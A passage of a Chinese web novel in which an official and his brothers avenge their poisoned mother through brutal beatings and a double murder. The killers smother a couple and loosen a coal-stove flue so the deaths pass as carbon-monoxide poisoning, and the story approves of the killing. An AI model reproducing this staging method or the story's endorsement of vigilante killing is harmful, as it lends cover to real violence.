“老首长,这件事,是我孙家的家事。”他冷声道,“我不要您出手,更不要您插手。我只要您一句话,如果宁大海背后的人敢往下伸手,您帮我顶回去!” 他要的不是借势压人,而是要一个公平的、不受干扰的战场! 他要亲手,将这帮丧尽天良的畜生,一个个撕碎! 王老浑浊的眼珠凝视了他许久。 半晌,他才沉沉地点了点头。 “可以。” 只两个字,却重如泰山。 “但是,”王老的话锋一转,“文杰,你记着。你现在不是当年那个跟着我冲锋陷阵的小兵了,你是市纪委的书记!多少双眼睛在暗处盯着你,等着抓你的错处!做事,要干净,要滴水不漏!别为了报家仇,把自己一辈子的前途给搭进去!不值当!” “我明白!”孙文杰重重地应下。 “行了,多的话我也不说了。”王老摆了摆手,随后道,“正好到饭点了,留下吃饭。让你赵姨给你俩炒几个菜。正好,小赵这小子,他姨妈可念叨他好几回了,说他翅膀硬了,这么久也不知道来看看。” 一直安静站在旁边的小赵,挠了挠后脑勺。 “姨夫,我……我这不是最近太忙了嘛。您可得帮我拦着点,我姨妈要是看见我,那巴掌肯定得往我背上招呼。” 王老闻言,笑了起来,眼角的皱纹都舒展开了,“哦?是吗?我怎么听说,是忙着谈对象,把我们这些老家伙都给忘了?” “没……没有的事!”小赵的脸更红了,结结巴巴地否认,惹得王老一阵大笑。 下午,吉普车行驶在返回市区的路上。 小赵握着方向盘,从后视镜里看了一眼闭目养神的孙文杰,“孙书记,我先送您回家?” 孙文杰睁开眼,“不了。你直接回单位,有些事,晚上还要你跑一趟。另外……” 他顿了顿,随后笑道,“没事多带人家姑娘去工人俱乐部看看电影,听听戏,别像个木头桩子似的。” 小赵的脸又开始发烫,瓮声瓮气地应了一声,“……知道了。” 孙文杰在市一医院门口下了车。 他先去院长办公室,找到了张存志,将那一千块钱,还了回去。 随后,他办好了母亲的出院手续。 做完这一切,他走到正在病房外守着的弟弟孙文武身边。 “老三,你去一趟,把文涛和他那个好媳妇,给我叫过来。” 孙文武重重地点了下头,转身大步离去。 一个小时后,孙文武开着车,载着孙文涛和冯畅来到了医院。 一路上,孙文涛都沉浸在母亲康复的巨大喜悦中,嘴里不停地念叨着,“我妈真醒了?太好了!真是老天保佑!那个家伙真那么神?” 而他身旁的冯畅,双手死死地绞着衣角,指节都泛了白。 她的心里七上八下,惶恐不安。 她壮着胆子,试探性地向开车的孙文武搭话,“老三,妈……妈的身子,是真的都好了?这到底是怎么回事啊?之前不还说……” 孙文武目不斜视地盯着前方,冷声道,“到了,你就知道了。” 那语气,让冯畅更加惶恐。 三人走进病房,老太太正靠在床头喝水,一见二儿子孙文涛,眼睛立刻亮了起来,充满了慈爱的光。 “文涛!我的儿,你可来了!” “妈!”孙文涛一个箭步冲过去,握住母亲的手,眼圈瞬间就红了。 一家人正说着话,病房的门被推开,孙文杰面无表情地走了进来。他的目光扫过冯畅,让冯畅浑身一颤。 “文涛,冯畅,你们两个,跟我出来一下。” 孙文杰的声音不大,但是二人不敢反抗。 他领着两人来到一间空置的病房,反手将门锁上。 然后,他从随身的包里,缓缓地,郑重地,取出了一个用红布包裹的木制牌位。 牌位上,赫然刻着——先考孙敬德之位。 “跪下!”孙文杰的声音响起。 孙文涛懵了,不解地看着大哥,“大哥,你这是干什么?好端端的,让我跪什么?” 一个响亮的耳光,狠狠地抽在孙文涛的脸上,直接将他打得一个趔趄。 “我让你跪下!”孙文杰双目赤红。 孙文涛被打蒙了,捂着火辣辣的脸,终于还是屈辱地跪了下去。 孙文杰的目光转向早已吓得魂不附体的冯畅。 “孙文涛,你睁大你的狗眼看看!看看你娶的好媳妇!她,用御医后人传下来的宫廷秘毒,长年累月地给咱妈下药,想让咱妈在无声无息中断了气!” “不仅如此!”孙文杰猛地指向冯畅,声音愈发凄厉,“她还跟市纺织厂的技术员王思齐私通,给你戴的绿帽子,从这儿能一直堆到城门外!我们孙家的脸,都被你们丢尽了!” “不!不是我!我没有!”冯畅尖叫着否认。 而孙文涛,整个人都僵住了。 他缓缓地,一寸一寸地扭过头,看向那个他爱了这么多年的女人。 那张熟悉的脸上,此刻写满了心虚。 “啊——!” 孙文涛从地上弹起,一脚踹在冯畅的心窝上,将她踹得倒飞出去,狠狠撞在墙上。 “贱人!你这个毒妇!老子打死你!” 他疯了一样扑上去,拳头落在冯畅的身上,头上,脸上。 冯畅被打得蜷缩在地上,毫无还手之力,只能发出惨叫。 “别打了!文涛!你忘了咱们的儿子吗?你忘了可乐了吗!看在可乐的份上,你饶了我吧!”她涕泪横流地哭喊着,试图用孩子唤醒丈夫最后的温情。 是啊,可乐!他的儿子! 这个贱人,一边给他生儿子,一边在外面偷人! 这个儿子……这个儿子到底是不是他的种?! “我打死你这个不知廉耻的贱货!”孙文涛的眼睛里布满了血丝,手上的力道更重了,招招都往死里打。 就在这时,病房的门被推开了。 老太太颤巍巍地扶着门框,看着眼前这一幕,那张刚刚恢复血色的脸,瞬间又白了回去。 她发出一声虚弱的呼喊。 “住……住手……” 第124章 带上她,我们去会会那个奸夫 那一声虚弱的住手,却没能拉住已经彻底癫狂的孙文涛。 “妈,您别管!” 孙文杰一个箭步上前,扶住了摇摇欲坠的老太太,声音依旧冰冷。 “这件事,没您想的那么简单。您回去歇着,剩下的,交给我。” 他没给老太太再开口的机会,直接将她搀扶回隔壁病房,又对守在门口的孙文武递了个眼色,让他看好门,这才转身回到那间临时的审讯室。 屋里,孙文涛的拳头还在一下下地砸在冯畅身上,那沉闷的击打声,听得人头皮发麻。 冯畅的惨叫已经变成了断断续续的呻吟,整个人蜷缩成一团。 “够了。” 孙文杰抓住了孙文涛的手腕。 孙文涛的眼睛通红,脖子上青筋暴起,他嘶吼着,“大哥你放开我!我要打死这个毒妇!打死这个贱人!” “就这么打死她?太便宜她了。让她这么痛快地死了,咱妈受的那些罪,我们孙家丢的那些脸,就这么算了?” 孙文涛的动作一僵,粗重地喘息着,胸膛剧烈起伏。 是啊,就这么死了,太便宜她了! 孙文杰甩开他的手,目光落向地上那个半死不活的女人。 “走,带上她,我们去会会那个奸夫。” 半个小时后,一辆吉普车在纺织厂的家属楼下停稳。 孙文涛将冯畅从车上拽了下来。 夜风一吹,冯畅稍稍清醒了一些,当她看清眼前这栋熟悉的红砖楼时,瞳孔骤然收缩,满眼的恐惧! 这是王思齐的住处! 他们知道了!他们什么都知道了! “不……不要……文涛,我求求你……”她手脚并用地爬向孙文涛,死死抱住他的小腿,脸上血泪交织,狼狈不堪,“看在可乐的份上!看在儿子的份上,你饶了我这一次吧!我再也不敢了!” 孙文杰和孙文武已经率先上了楼,只留下孙文涛和她在楼下。 孙文涛低头看着这个曾经让他爱到骨子里的女人,此刻只觉得无比的恶心。 他一脚踹开冯畅的手,眼中满是厌恶。 “可乐?你还有脸提可乐!”他的声音充满了无尽的恨意,“你这个贱货!拿着老子辛辛苦苦挣的钱,去养那个小白脸!给他买手表,买皮鞋,买收音机!老子让你养!老子让你养!” 每一句话,都狠狠剜在冯畅心上。 她知道,一切都完了。 当一个男人连你花他的钱都开始计较的时候,那最后一丝情分也就不复存在了。 绝望之下,一股疯狂的狠厉从冯畅心底涌起。 既然活不了,那也别想让这个男人好过! 她猛地从地上一跃而起,张开嘴,用尽全身的力气,狠狠地扑向孙文涛的脸! “啊!” 孙文涛躲闪不及,只觉得脸上一阵撕心裂肺的剧痛,一股温热的血腥味瞬间在口腔中弥漫开来。 这个毒妇,竟是生生从他脸上咬下了一块肉! “我操你妈!” 剧痛彻底引爆了孙文涛的凶性。 他一记闷拳狠狠砸在冯畅的肚子上,将她打得弯下腰去,酸水都吐了出来。 他摸了一把自己的脸,满手都是粘稠的鲜血。 “贱人!你还敢咬我!老子今天不弄死你,老子就不姓孙!” 他揪住冯畅的头发,将她的头狠狠往墙上撞,拳头、膝盖,一下比一下重的落在她身上。 冯畅被打得意识模糊,却依旧用尽最后的力气,发出怨毒的诅咒。 “孙文涛……你不得好死!你全家都不得好死!我做鬼……也……也不会放过你……” 与此同时,楼上。 孙文杰和孙文武已经站在了302的门前。孙文杰侧耳听了听,里面传来隐约的音乐声。 他给了孙文武一个眼色,孙文武心领神会,猛地抬起一脚! 那本就不甚结实的木门,直接被踹得四分五裂。 屋里,穿着一件白衬衫的王思齐正端着一杯酒,悠闲地听着收音机里的靡靡之音。这突如其来的巨响吓得他手一抖,酒全洒在了身上。 他还没反应过来,两条黑影已经冲了进来。 孙文杰二话不说,一脚将他踹翻在地,孙文武则顺手抄起一个板凳,照着他的背就狠狠砸了下去! “啊——!你们是谁?你们要干什么!” 王思齐被打得眼冒金星,抱着头在地上翻滚,嘴里发出惨叫,“别打了!别打了!要钱你们都拿走!求你们饶我一命啊!” 孙文杰一脚踩住他的手,微微弯下腰,声音冰冷。 “宁大海,是什么时候让你给我妈下药的?” 这一句话,让王思齐所有的哀嚎和求饶,瞬间卡在了喉咙里。 他……他们是孙家的人! 王思齐知道,这下是彻底完了! “不……不是我!我……我是被逼的!”他涕泪横流,语无伦次地辩解着,“都是我舅舅!都是宁大海那个老王八蛋逼我干的!他说事成之后就提我当副主任!我一时鬼迷心窍啊!大哥!饶命啊大哥!我有解药!我真的有解药!” 孙文杰和孙文武对视一眼,眼神里充满了不屑。 他们根本不理会王思齐的求饶,一人抓着他一条胳膊,将他从屋里拖了出去。 王思齐还在做着最后的挣扎,惊恐地大喊:“我的门!我的门还没锁啊!” 孙文杰的脚步没有丝毫停顿,只留下了一句话。 “用不着了。这地方,很快就不是你的了。” 楼道里只剩下王思齐绝望的呜咽和被拖拽时身体摩擦地面的声音。 孙文杰和孙文武一左一右,架着瘫软如泥的王思齐下了楼。 刺骨的夜风扑面而来,楼下,孙文涛正靠着吉普车,用手帕死死按着脸上血肉模糊的伤口,眼神空洞地望着无尽的黑夜。 他身边的地上,冯畅蜷缩着,一动不动,不知是死是活。 孙文武看了一眼二哥脸上的惨状,眼角狠狠一抽,但什么也没问。 有些伤,不必问,有些恨,无需言。 他打开后车门,与孙文杰合力,将还在徒劳挣扎的王思齐扔了进去。 接着,孙文涛直起身,面无表情地揪起冯畅的头发,将她也塞进了车里。 整个过程,三个男人没有一句多余的交流,只有粗重的喘息和压抑到极致的杀气在冰冷的车厢内弥漫。 吉普车引擎轰鸣,撕裂了寂静的夜,绝尘而去。 第125章 今晚,让他和他老婆睡个安稳 市公安局的门口,灯光昏黄。 孙文杰跳下车,径直走向了值班室。 几分钟后,他带着两个睡眼惺忪的公安同志走了出来。 当那两人看到车里鼻青脸肿的王思齐和半死不活的冯畅时,顿时清醒了大半。 “孙书记,这……” “蓄意谋害革命干部家属,外加通奸。”孙文杰的声音没有波澜,“人,交给你们了。怎么审,怎么判,你们是专业的。我只有一个要求,别让他们死得太痛快。” 那两个公安对视一眼,心里瞬间了然。 孙家老太太住院的事他们也有所耳闻,没想到内情竟是如此骇人听闻! 他们立刻挺直了腰板,语气变得无比严肃。 “孙书记您放心!我们一定从严处理,绝不姑息!” 王思齐和冯畅被拖下车的时候,听到了孙文杰那句话,他们知道,从这一刻起,迎接他们的将是比死亡更可怕的深渊。 人间,已经成了他们的地狱。 孙文杰看着两人被押进那扇冰冷的大门,对孙文武低声吩咐了一句。 “老三,这边你跟紧点,别出什么岔子。” “明白,大哥。” 事情处理完毕,孙文杰的目光落在了二弟孙文涛那张触目惊心的脸上。 “走,先送你去医院。” 孙文涛任由二人将他架上了车。 医院里,值班医生看到孙文涛的伤口时倒吸了一口凉气,那块肉几乎是被硬生生撕下来的。 清理、消毒、缝合……孙文涛全程一声不吭,仿佛那剧痛不是作用在自己身上。 包扎完毕,他的半边脸都被纱布覆盖,只露出一只充血的眼睛。 回家的路上,车里的气氛压抑得让人喘不过气。 快到家时,孙文杰终于打破了沉默,语气缓和了些许。 “文涛,接下来这段时间,单位的活儿先放一放,在家好好歇着。可乐那边……你要是实在没精力,就先送到妈那里,让她老人家帮忙看几天。” 孙文涛的身体微微一震,眼眶瞬间红了。 他用力地点了点头。 “……好。” 将弟弟们都安顿好,孙文杰独自回到了自己的家。 他没有开灯,只是在黑暗中静坐了片刻,然后拨了一个电话。 半小时后,他的家里悄无声息地走进了三个身材魁梧、面容冷峻的汉子。 他们步伐沉稳,眼神锐利。 为首那人对着孙文杰立正,声音低沉有力。 “班长。” 孙文杰点了点头,从抽屉里拿出一张画好的简易地图,铺在桌上。 “目标,市中心,前进路七号,独门独院。宁大海,市一院后勤副主任。” 他的手指在地图上的一个小红圈上点了点,眼神冷得像数九寒冬的冰。 “今晚,让他和他老婆睡个安稳觉。” “是!”三人没有任何疑问,只有绝对的服从。 午夜,月黑风高。 前进路七号的小院外,几条黑影贴着墙根移动。 其中一人身手矫健,几下便翻上了院墙,悄无声息地从里面打开了院门。 四人鱼贯而入,动作行云流水,配合得天衣无缝。 主屋的门窗都从里面插着,但这对他们来说不是问题。 一根细细的铁丝从门缝伸入,轻轻一拨,门闩应声而开。 屋内,一股淡淡的煤灰味传来。 床上躺着两个人,正是宁大海和他媳妇,睡得正沉。 孙文杰打了个手势。 两个汉子上前,一人负责一个,从怀里掏出浸湿的厚毛巾,捂住了床上两人的口鼻! “唔……唔!” 宁大海夫妇在睡梦中惊醒,本能地剧烈挣扎起来。 但那两双手臂纹丝不动。他 们的四肢疯狂蹬踹,喉咙里发出嗬嗬的怪响,眼球因为缺氧而暴突。 然而,一切都是徒劳。 几分钟后,床上的挣扎渐渐微弱,最终彻底停止。 孙文杰上前探了探两人的鼻息,又摸了摸颈动脉,确认已经没了生命体征。 他转身走到屋角的煤炉旁,将原本通向窗外的排烟管,悄悄地拔下了一半,让接口处露出一个不易察觉的缝隙。 随后,几人开始仔细清理现场。 他们用布擦掉了所有可能留下的脚印和指纹,将门闩恢复原样,再从外面将门轻轻带上。 整个过程,不超过十分钟。 走出小院,四人迅速消失在沉沉的夜色中。 在一个僻静的巷口,孙文杰停下了脚步。 “明天中午,老地方,国营饭店,我请客。” 为首的汉子咧嘴一笑,露出一口白牙,笑容里满是真诚。 “班长,您这就太客气了。要不是您,我们几个弟兄的命早就撂在南边了,哪还有今天这安稳日子。有事您吩咐就行,吃饭就算了。” 孙文杰没再坚持,只是拍了拍他的肩膀。 “行,都回去吧,注意安全。” “班长您也早点休息。” 几条身影很快就融入了黑暗,仿佛从未出现过。 第二天,日上三竿。 前进路七号的邻居张大妈端着一盆水准备泼到街上,却发现对门宁大海家静悄悄的,连个窗户都没开,这可有点反常。 “老宁!大海家的!都晌午了,咋还不起来?” 张大妈扯着嗓子喊了两声,院里毫无动静。 她心里犯起了嘀咕,这宁大海两口子平时挺勤快的啊,今天是怎么了? 她又走近了些,趴在门上敲了敲。 “大海!开门呐!是不是出啥事了?” 依旧无人应声。 一种不祥的预感涌上心头,张大妈不敢再耽搁,扭头就朝街道派出所跑去。 很快,几个穿着制服的公安同志赶了过来。 他们喊话无果后,当机立断,直接破门而入。 门一开,一股浓烈刺鼻的煤气味就扑面而来! “不好!煤气中毒!” 一个老公安经验丰富,立刻捂住口鼻冲了进去,一把推开了所有的窗户。 等屋里的味道散得差不多了,他们才走进卧室,只见宁大海和他媳妇直挺挺地躺在床上,身体早已僵硬冰冷,脸上还带着临死前的痛苦。 查看了现场,又看到了那个松动的排烟管,公安同志很快就下了结论。 “唉,又是这该死的煤炉子!天冷关窗睡,这不就是自己找死吗?看来是意外中毒,收队吧,通知家属来处理后事。” 第126章 这么个人才,埋在乡下可惜了 派出所的法医初步勘察后,得出的结论与现场民警的判断并无二致——典型的一氧化碳中毒。 只是,本着严谨的原则,法医还是提出了建议:“虽然现场痕迹符合意外事故的所有特征,但毕竟是两条人命,最好还是进行司法解剖,以排除所有其他可能性。” 宁大海那个在外地工作的儿子连夜赶了回来,当他听完公安同志的叙述和法医的建议后,几乎是立刻就剧烈地摇着头,声音都带上了哭腔。 “不!不解剖!我爸妈……他们已经走得很不安详了,不能再让他们挨刀子了!人死为大,就让他们安安稳稳地走吧!” 家属既然明确拒绝,他们也无法强求,尤其是在这个死者为大观念根深蒂固的年代。 最终,这起案子便以意外事故草草结案。 三天后,宁大海夫妇被仓促下葬,连一场像样的追悼会都没有。 那座曾被孙文杰视为眼中钉的小院,彻底归于沉寂。 京城,一间陈设简朴却不失威严的书房内,檀香袅袅。 须发皆白、精神矍铄的王老正提着一支狼毫笔,在宣纸上挥毫泼墨,笔走龙蛇,气势磅礴。 “陕州一院后勤那个姓宁的,是你做的?” 王老的语气平淡,头也没抬。 孙文杰的背脊瞬间绷紧,但他只是平静地抬起头,迎上王老的目光,低沉地吐出三个字。 “他该死。” 王老闻言,发出一声轻哼,转而端详起自己刚写的字。 许久,王老才再次开口,声音里带着告诫。 “年轻人,有血性是好事,但做事不能只凭一股狠劲。斩草,也要看时候,不必非得除根。宁大海那个儿子,既然识趣,就让他安生过日子去吧,别再节外生枝了。” “我明白。”孙文杰知道,这是王老在给他划下底线,也是在保护他。 王老似乎对他的态度很满意,话锋一转,眼神里竟透出几分好奇。 “我听纯志提了一嘴,说你母亲这次能转危为安,全靠一个乡下的小知青?一手金针使得出神入化?” “是,那年轻人叫江沐,医术确实……深不可测。”孙文杰的语气里,不自觉地带上了敬佩。 “哦?”王老来了兴致,他放下茶杯,用指节轻轻叩击着桌面,“有意思。这么个人才,埋在乡下可惜了。文杰啊,你找个机会,把他带过来,让我这个老头子也瞧瞧,看看是何方神圣。” 孙文杰心头一动,这正是他想做的。 他不仅要郑重地感谢江沐,也确实想听听江沐对未来的打算,看看有没有能帮上忙的地方。 “是!我正打算这两天就去一趟青莲公社,当面感谢江沐同志。” 与此同时,青莲公社的知青点,却是另一番截然不同的温暖光景。 那只被江沐救回来的白狐,经过张小月连日来红薯干和腊肉丁的精心投喂,已经彻底放下了戒心。 此刻,它正四脚朝天、毫无防备地躺在院子中央的阳光下,任由张小月柔软的手指在它毛茸茸的肚皮上轻抚。 那双狭长的狐狸眼半眯着,喉咙里发出满足的咕噜声,惬意到了极点 虎虎生威两条大狗则蹲在一旁,眼巴巴地看着。 自从这只白狐狸来了之后,它们感觉自己的地位受到了严重挑战。 张小月自然是更偏爱这只漂亮又会撒娇的狐狸,不过好在,江沐依旧是虎虎生威最坚实的后盾,每天的骨头和抚摸从不短缺,总算安抚了两颗受伤的狗心。 “江沐,你看它多乖呀,咱们给它也起个名字吧?”张小月一边挠着狐狸的下巴,一边仰头问正在整理药材的江沐。 江沐瞥了一眼那只媚态天成的狐狸,脑海里莫名就冒出了一个名字。 “就叫妲己吧。” 这只名叫妲己的白狐似乎也格外亲近张小月,只允许她触碰自己最柔软的肚皮。 江沐只要一伸手,它就立刻警惕地翻身站起,优雅地躲开,只留给他一个高傲的后脑勺。 这天中午,院门外忽然传来了汽车引擎的轰鸣声。 一辆军绿色的吉普车停在了门口,车上下来了三个男人,正是孙家三兄弟。 孙文杰走在最前,孙文武和脸上还贴着纱布的孙文涛跟在后面,手里提着大包小包的东西。 江沐看到他们,略感意外地挑了挑眉。 “孙大哥?你们怎么来了?” “江沐同志,我们是特地来感谢你的!”孙文杰大步上前,紧紧握住江沐的手。 进屋后,江沐给他们倒了热水,目光在孙文涛脸上的伤扫过,却没有多问。 “孙老太太最近身体如何?” 一提起母亲,孙文杰脸上的线条都柔和了许多。 “好!好得很!比生病前还硬朗!我妈说,以前天冷就犯的老寒腿、气喘,现在都没影儿了。江沐同志,你这医术,真是神了!” 江沐淡然一笑。 “那是老太太底子好,我只是顺水推舟。只要注意休养,别太劳累,长命百岁不是问题。” 他又状似随意地问了一句。 “那……给老太太下药的人,查出来了吗?” 孙文杰点点头。 “查出来了,也已经处理干净了。这种人,不配活在世上。”他顿了顿,话锋一转,“对了,江沐同志,我这次来,还有一件事。我以前一位老领导,对你的医术非常感兴趣,想见见你。” 江沐心中了然,这恐怕才是他们此行的主要目的。 他思索片刻,点了点头。 “可以。正好,周老先生的儿子周大强年前结婚,到时候我要去参加婚礼,应该会有时间。具体等我确定了再联系。” 三人又坐了一会儿,留下一堆大白兔奶糖、麦乳精、各色罐头,甚至还有一卷时下最时髦的灰色毛呢料子,这才告辞离开。 他们走后,张小月从外面回来,看到屋里多出的东西,意外。 当江沐将那卷触感柔软厚实的呢子料递给她时,她更是爱不释手。 “给我的?” “嗯,去做件呢子大衣,过年穿。” 张小月重重地点了点头。 又过了一个礼拜,腊月二十三,小年。 周大强和杨小军一起来到了知青点,手里还提着两斤猪肉和一包点心,是来正式邀请江沐参加婚礼的。 “江医生!后天我结婚,你可一定要来当我的贵客啊!”周大强黝黑的脸上满是喜气。 江沐笑着应下。 “放心,一定到。” 腊月二十五,周大强结婚的日子。 杨小军特地一大早就来接江沐和张小月。 两人到的时候,周家院子里已经挤满了人。 周大强已经跟着迎亲的队伍去接新娘子了。 周胜利老爷子穿着一身崭新的中山装,满面红光,一看到江沐和张小月,立刻大笑着迎了上来,热情地拉着他们的手。 第127章 烟,戒了吧 院子里人声鼎沸,张小月还是第一次见识这种农村婚礼的热闹场面,一张俏脸绷得紧紧的,下意识地抓住了江沐的衣袖,手心里沁出了一层薄汗。 这阵仗,比公社开大会还吓人。 江沐感觉到她的紧张,反手轻轻拍了拍她的手背,轻声安抚道。 “别怕,就当是来吃顿好的。” 一句玩笑话,让张小月紧绷的神经稍稍松弛,她悄悄吐了口气,点了点头。 “来来来,我给你们介绍几个老家伙!”周胜利不由分说,直接将江沐领进了东屋的暖炕上。 屋里烟雾缭绕,一股浓烈的旱烟味混合着汗味扑面而来。 炕上、炕边,坐着五六个年纪与周胜利相仿的老人,一个个精神矍铄,身上都带着一股子寻常庄稼汉没有的硬朗气质。 他们看到周胜利领着一个俊秀得过分的年轻人进来,都投来了好奇的目光。 “老周,这就是你信里吹得神乎其神的小神医?”一个额头上有一道浅疤的老人率先开了口,上下打量着江沐。 周胜利一挺胸膛,一拍江沐的肩膀。 “那还有假!就是他,江沐同志!我现在状态这么好,多亏了他!” 屋里响起一阵压抑的惊呼。 这群老伙计可太清楚周胜利之前的身体状况了,说是半只脚踏进了棺材板也毫不为过。 他们本以为能治好这顽疾的,就算不是什么国手圣医,也得是个经验老到的老中医,哪想到会是这么个毛头小子? “太年轻了!” “是啊,看着也就二十出头?这……这医术能有多高?” “老周,你可别是被人给蒙了!” 江沐站在那里,神色淡然,既不辩解,也不露怯,任由他们打量。 他两世为人,什么样的大场面没见过,眼前这几个气场十足的老爷子,还不足以让他心生波澜。 周胜利听着战友们的质疑,脸一板,眼睛一瞪。 “蒙什么蒙!江沐同志的本事,我亲身体验过的!来,江沐,我给你介绍。这位是陆国庆,当年一个坑道里的生死弟兄。这位是……” 老爷子挨个介绍过去,都是他当年南征北战时结下的袍泽,如今散落在陕州各地,今天特地为他孙子的大喜日子赶来。 那个叫陆国庆的老爷子,性格最是开朗,他挤眉弄眼地凑到江沐身边,用胳膊肘捅了捅周胜利。 “老哥哥,你这可就不地道了啊!光介绍我们,怎么不跟小神医介绍介绍你自个儿?比如说,你当年钻坑道比谁都快,得了个地老鼠的外号这事儿?” “哈哈哈!” 屋里顿时爆发出大笑,连周胜利自己都气乐了,指着陆国庆笑骂:“你个老东西,嘴上就没个把门的!” 几个老爷子你一言我一语地开着玩笑,看似是在揭周胜利的老底,实则是在用他们独有的方式,化解江沐可能存在的拘束。 他们哪里知道,江沐压根就没紧张过。 他来这里,一是为周大强贺喜,二是还周家的人情,至于结交人脉,攀附关系?他从没想过。 医者仁心,救死扶伤是本分,不是他用来钻营的工具。 笑闹过后,陆国庆忽然把手里的烟袋锅子往桌上一磕,神色认真了许多。 “江沐同志,既然老周把你夸得天上少有,地上无双,那能不能也给哥哥我瞧瞧?我这身子骨,最近总不得劲。” “对对对,都给看看!” “正好,省得跑县医院了!” 一群老爷子纷纷来了兴致,一个个都伸出了手腕。 江沐也不推辞,点了点头,在炕边坐下,目光落在了最先开口的陆国庆身上。 “陆大爷,我先给您看看吧。” 江沐的指尖轻轻搭上他的脉门,双眼微阖,神情专注。 屋子里瞬间安静下来,只剩下窗外隐约传来的喧闹声。 片刻后,江沐睁开眼,开口道,“烟,戒了吧。” 陆国庆愣了一下,随即嘿嘿一笑,满不在乎。 “人活一辈子,就这点爱好了,戒了还有啥意思?” 江沐的目光扫过他微黄的指甲和牙齿,声音依旧平淡。 “您最近是不是每天清晨咳嗽得厉害,咳出来的痰又黄又稠,还带着血丝?” 陆国庆脸上的笑容瞬间凝固了。 这事儿他谁都没告诉,连老伴都不知道,怕她担心。 这年轻人……光凭三根手指头,就全给他抖落出来了? 【叮!收到来自陆国庆的声望值+80!】 系统的提示音在江沐脑海中响起。 陆国庆咽了口唾沫,语气弱了几分,带着点侥幸心理。 “那……有没有什么法子,就吃点中药调理调理,不用戒烟的?” 江沐摇了摇头,“病根不除,吃再好的药也是扬汤止沸,白费功夫。您这肺,再这么抽下去,不出三年,神仙难救。” 这话一出,屋里所有人都变了脸色。 周胜利更是急得一拍大腿。 “老陆!听见没!江沐同志的话就是圣旨!你那破烟袋,必须给我扔了!” “是啊老陆,命重要还是烟重要?” 在众人的轮番劝说和江沐的诊断下,陆国庆最终苦着脸,一咬牙一跺脚。 “行!我戒!我试试……试试还不行吗!” 江沐这才满意地点了点头,又挨个为其他几位老爷子诊脉,根据各人不同的情况,给出了调养建议。 有的是高盐高油,需要清淡饮食;有的是肝火旺盛,需要平心静气。 他每一句诊断都切中要害,说得几个身经百战的老爷子心服口服,敬佩不已。 这一圈下来,江沐脑海里的系统提示音响个不停。 【叮!声望值+70!】 【叮!声望值+90!】 …… 一通忙活,总共收获了560点声望值,算是一笔意外之喜。 就在这时,房门被推开,杨小军探头探脑地走了进来,他身后还跟着已经显怀的马小爱。 “江沐,小月,你们在这儿呢!快出来,新娘子快到啦!” 江沐和张小月见状,便跟几位老爷子告辞,走出了屋子。 马小爱一看到江沐,就跟看到救星似的,亲热地拉住他的胳膊,脸上带着准妈妈特有的光辉。 “江沐,你快帮我看看,我这肚子里怀的,到底是个带把儿的,还是个小棉袄啊?” 江沐笑了笑,让她伸出手,细细诊了片刻脉象,而后笃定地开口。 “恭喜,是个小子,很壮实。” 马小爱顿时喜笑颜开,连声道谢。 正聊着,院门口忽然又传来一阵骚动,比刚才新娘子来时动静还大。 周胜利老两口对视一眼,连忙快步迎了出去。 江沐顺着众人的目光望去,只见一辆崭新的军绿色吉普车停在院外,车上下来几个人,为首的那人一身笔挺的干部装,气度不凡。 他的眼神微微一凝。 来人,竟是孙文杰。 而孙文杰穿过人群,目光也第一时间锁定在了院中的江沐身上。 第128章 青莲公社的乡亲们也需要医生 孙文杰大步流星地走来,目标明确得不能再明确。 “江沐同志!”孙文杰爽朗的笑声先到,“又见面了!” 他伸出有力的手,紧紧握住了江沐的手。 这份热情,让周围原本嘈杂的人群都下意识地安静了几分,无数道好奇、探究的目光聚焦过来。 江沐心中了然,孙文杰此刻的姿态,既是表达亲近,也是在无形中为他站台。 他淡然一笑,回握住对方的手。 “孙书记,您好。” 孙文杰的视线转向江沐身边的杨小军,略带询问。 不等江沐介绍,杨小军已经激动得满脸通红,他挺直了腰板,带着几分紧张,主动开口。 “孙书记,我叫杨小军,我爸是药厂厂长,我岳父是马忠文!” 他特地加重了岳父的名字。 “哦?马忠文?”孙文杰眉毛一扬,脸上的笑容更真切了,“原来是马队长的女婿,我说看着怎么有点眼熟!好小子,有前途!” 马忠文是县武装部的副队长,孙文杰自然是认识的。 这一句话,让杨小军整个人都快飘起来了,腰杆挺得更直。 孙文杰拍了拍杨小军的肩膀,又侧过身,介绍起身后的一个年轻人。 “来,给你们介绍一下,这是我的秘书,小赵。” 那个叫小赵的年轻人立刻上前一步,客气地冲江沐和杨小军点了点头,眼神里却藏着对江沐的惊异。 他可太清楚孙书记对这位年轻人的重视程度了。 寒暄过后,孙文杰的目光转向了东屋。 刚才屋里发生的一切,周胜利已经简单跟他提了一嘴。 他领着江沐,郑重地走向那位一直稳坐炕头,气场最为沉凝的老人。 “王老,我给您介绍一下,这位就是我跟您提过的江沐同志。” 那位被称作王老的老人,缓缓抬起眼皮,他上下扫了江沐一眼,眉头微微一蹙。 “文杰,你说的那个医术高超的小同志……就是他?” 这语气里的诧异毫不掩饰。 太年轻了,年轻得不像话。 这年纪,怕是连药方都还没认全吧? 江沐神色不变,心中一片澄明。 这位王老,恐怕才是今天孙文杰特地要带来见自己的人。 他平静地迎着老人的目光,不卑不亢。 “王老,您好。” 王老“嗯”了一声,收回目光,淡淡地伸出手腕,搭在炕桌上。 “既然来了,就给我这个老头子也瞧瞧吧。” 这既是考校,也是机会。 江沐也不多言,上前两步,三根手指轻轻搭上王老的寸口脉。 四周瞬间落针可闻。 片刻,江沐松开手,脸上露出由衷的钦佩。 “王老的身体底子非常好,脉象沉稳有力,并无大碍。” 他顿了顿,话锋一转。 “而且,想必之前为王老调理身体的,也是一位杏林高手。他用的手法温和而精准,如同春风化雨,润物无声,将您身体里一些陈年的小毛病都理顺了。这位前辈的手段,着实让晚辈佩服。” 这番话一出,王老眼中那丝审视悄然褪去,取而代之的是一种发自内心的欣赏。 他重重地点了点头,手掌在炕沿上拍了一下。 “后生可畏,后生可畏啊!” 他哪里有什么毛病,不过是想试试江沐的斤两。 没想到这年轻人不仅诊断得分毫不差,还能从脉象中反推出之前那位省里老中医的治疗手法,这份眼力和心胸,绝非常人可比! 王老看向江沐的眼神彻底变了,带着一股热切。 “小江同志,有没有兴趣来省里工作?只要你点头,我可以给你安排进省人民医院。” 院子里的人群炸开了锅! 省人民医院! 那是什么地方?是全省最好的医院! 普通人挤破头都进不去,这位王老竟然一句话就要给安排了? 杨小军更是羡慕得眼睛都直了。 江沐心中一片澄明。 省城?那是多少人挤破了头都想去的地方。 一张调令,就能让他脱离这片黄土地,回到繁华都市。 但这,不是他想要的。 他微微躬身,语气诚恳。 